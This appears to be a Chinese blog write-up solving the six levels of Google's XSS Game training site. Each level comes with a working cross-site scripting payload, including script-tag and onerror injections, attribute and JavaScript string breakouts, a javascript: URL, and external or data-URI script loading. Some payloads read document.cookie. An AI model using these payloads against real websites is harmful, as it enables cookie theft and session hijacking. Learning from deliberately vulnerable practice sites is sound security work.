MENU

Google·XSS·Game记录

November 24, 2019 • 默认分类,安全

Google·XSS学习记录

level one

没有花里胡哨

<script>alert(document.cookie)</script>

level two

script标签不起作用,要尝试其他的js标签

<img onerror="alert(document.cookie)" src=""></img>    

level three

找到输出点

mark

可以看到src由获取url中的num拼接得到,所以尝试用单引号截断

mark

成功截断,因为图片是加载出现错误,所以联想到上一关的onerror,进行尝试

' onerror='alert(1)'>

通过单引号截断后,拼接onerror函数,闭合标签,过关

level four

到这里大概已经摸清楚思路了,首先先找出页面上的输出点

mark

可以看到这里startTimer获取输入框输入的时间,那再往下找找具体是怎么执行的

mark

可以看到通过拼接一个'{{timer}}'来执行函数,那就尝试闭合这个执行的函数执行我们想执行的代码

');alert(1);//

通过单引号闭合内部,再通过括号闭合函数,然后分号隔开,执行接下来的alert,分号结束,最后注释符//注释掉后面的代码

level five

hint 1 提示我们这关的标题就是提示之一

Breaking protocol

这里可以了解到通过JavaScript伪协议来进行xss攻击

javascript伪协议:
就是使用a标签的href属性来运行javascript的方法,

当被解析时不会进行跳转,而是执行JavaScript脚本callback

通过查看代码可以看到signup.html中含有伪协议应用的部分

mark

可以理解这里的作用原本是用来重定向页面,但却会被利用进行XSS攻击,由于是通过next来获取跳转,所以尝试JavaScript脚本构造payload

next=javascript:alert(1);

level six

这题刚拿到的时候有点无从下手,通过任务目标可以推断是要通过某种方法来加载脚本完成攻击,那么观察url和网页内容可以发现

mark

首先获取url中传入的值,在一开始可以知道传入的url不能含有httphpps,那就尝试修改网址后的内容

mark

结合网页代码大概已经理解这里的外部文件是如何引用的了,那现在就有两个思路来进行攻击

引用外部服务器JS文件

构建JS文件

alert(1);

上传至vps或在本地Tomcat根目录下

mark

确认生效可以访问

则构造payload

#HTTP:127.0.0.1:8080/1.js

通过data协议嵌入script脚本

首先了解一下什么是data协议

data格式的Url最直接的好处是,这些Url原本会引起一个新的网络访问,因为那里是一个网页的地址,现在不会有新的网络访问了,因为现在这里是网页的内容。这样做,会减少服务器的负载,当然同时也增加了当前网页的大小。所以对“小”数据特别有好处。

既然是Url,当然也可以直接在浏览器的地址栏中输入。

data:text/html,<html><body><p><b>Hello, world!</b></p></body></html>

在浏览器中输入以上的Url,会得到一个加粗的"Hello, world!"。也就是说,data:后面的数据直接用做网页的内容,而不是网页的地址。

data:text/plain;charset=UTF-8;base64,5L2g5aW977yM5Lit5paH77yB

这个例子会显示出"你好,中文!"。如果吧charset部分去掉,就会显示乱码,因为我用的是UTF-8编码。

简单的说,data类型的Url大致有下面几种形式。

data:,<文本数据>
 
data:text/plain,<文本数据>
 
data:text/html,<html代码>
 
data:text/html;base64,<base64编码的html代码>
 
data:text/css,<css代码>
 
data:text/css;base64,<base64编码的css代码>
 
data:text/javascript,<javascript代码>
 
data:text/javascript;base64,<base64编码的javascript代码>
 
data:image/gif;base64,base64编码的gif图片数据
 
data:image/png;base64,base64编码的png图片数据
 
data:image/jpeg;base64,base64编码的jpeg图片数据
 
data:image/x-icon;base64,base64编码的icon图片数据

具体可参考规范说明

那么我们就可以利用data:text/javascript来加载我们需要的alert脚本

构造payload

#data:text/javascript,alert(1)

mark

四个小时成功通关,完结撒花

本文作者:Losir
本文链接:Google·XSS·Game记录 - https://www.ionssource.cn/archives/45/
版权声明:如无特别声明,本文即为原创文章,仅代表个人观点,版权归 Losir 所有,未经允许不得转载!

开往-友链接力